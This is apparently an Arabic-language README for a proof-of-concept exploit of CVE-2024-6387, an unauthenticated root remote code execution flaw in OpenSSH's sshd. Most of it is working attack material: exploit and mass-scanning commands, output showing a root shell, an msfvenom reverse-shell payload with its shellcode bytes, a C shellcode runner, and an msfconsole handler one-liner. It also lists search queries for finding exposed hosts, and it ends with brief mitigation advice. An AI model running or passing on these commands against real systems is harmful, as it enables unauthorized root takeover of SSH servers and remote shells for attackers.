
CVE-2024-6387 - PoCملاحظة: هذا السكربت هو نموذج أولي سريع للـ PoC، وقد تحدث بعض الأخطاء والعلل. تم الاختبار على: Kali Linux، ParrotSec، Ubuntu 22.04
ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في خادم OpenSSH
تم اكتشاف حالة سباق (race condition) في معالج الإشارات في خادم OpenSSH (sshd)، حيث لا يقوم العميل بالمصادقة خلال عدد الثواني المحدد في LoginGraceTime (120 افتراضيًا، و600 في إصدارات OpenSSH القديمة)، ثم يتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن. ومع ذلك، يستدعي معالج الإشارات هذا دوالًا مختلفة ليست آمنة للإشارات غير المتزامنة (async-signal-safe)، مثل syslog().
يمكنك العثور على التفاصيل التقنية هنا.
يعود هذا العيب، الذي اكتشفه باحثون في Qualys في May 2024، والذي مُنح المعرّف CVE-2024-6387، إلى حالة سباق (race condition) في معالج الإشارات في sshd تسمح للمهاجمين عن بُعد بدون مصادقة بتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر (root).
"إذا لم يقم العميل بالمصادقة خلال عدد الثواني المحدد في LoginGraceTime (120 افتراضيًا)، فسيتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن ويستدعي دوالًا مختلفة ليست آمنة للإشارات غير المتزامنة،"
"يمكن لمهاجم عن بُعد بدون مصادقة استغلال هذا العيب لتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر (root)."
المتطلب: أحدث إصدار من python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessإدارة التصحيحات: يعد تطبيق التصحيحات المتوفرة لـ OpenSSH بسرعة أمرًا بالغ الأهمية لسد الفجوة الأمنية للثغرة. يضمن التصحيح في الوقت المناسب عدم إمكانية استغلال الثغرات المعروفة ضد أنظمتك، مما يقلل من نافذة الفرصة المتاحة للمهاجمين.
تعزيز التحكم في الوصول: تحديد الوصول إلى SSH عبر ضوابط قائمة على الشبكة يضيف طبقة دفاع إضافية. يقلل هذا النهج من التعرض للمهاجمين المحتملين عن طريق تقييد اتصالات SSH بالشبكات أو عناوين IP المصرح بها فقط. يمكن أن يؤدي تنفيذ أدوات مثل قواعد جدار الحماية أو استخدام شبكات VPN للوصول الآمن إلى فرض هذه القيود بفعالية.
تقسيم الشبكة: تقسيم شبكتك إلى قطاعات يساعد في احتواء تأثير الاختراق المحتمل. من خلال فصل الأنظمة الحيوية والبيانات الحساسة عن الأجزاء الأقل أهمية في شبكتك، تقلل من خطر التنقل الجانبي (lateral movement) من قبل المهاجمين. يمكن استكمال هذا التقسيم بضوابط وصول صارمة ومراقبة لاكتشاف أي محاولات غير مصرح بها لاختراق هذه القطاعات والاستجابة لها.
أنظمة كشف التسلل (IDS): يتيح نشر أنظمة كشف التسلل (IDS) أو أنظمة منع التسلل (IPS) مراقبة حركة مرور الشبكة وسجلات النظام في الوقت الفعلي. يمكن لهذه الأنظمة اكتشاف الأنشطة المشبوهة ومحاولات الاستغلال المحتملة المرتبطة بثغرة regreSSHion. تسمح التنبيهات التي تصدرها هذه الأنظمة بالتحقيق والتخفيف الفوري قبل حدوث أضرار جسيمة.
مراقبة محاولات الاستغلال: المراقبة المستمرة لسجلات الشبكة والنظام أمر بالغ الأهمية. ابحث عن أي أنماط أو أنشطة غير معتادة قد تشير إلى محاولة استغلال ثغرة OpenSSH. يساعد هذا النهج الاستباقي في تحديد التهديدات والاستجابة لها قبل أن تسبب ضررًا.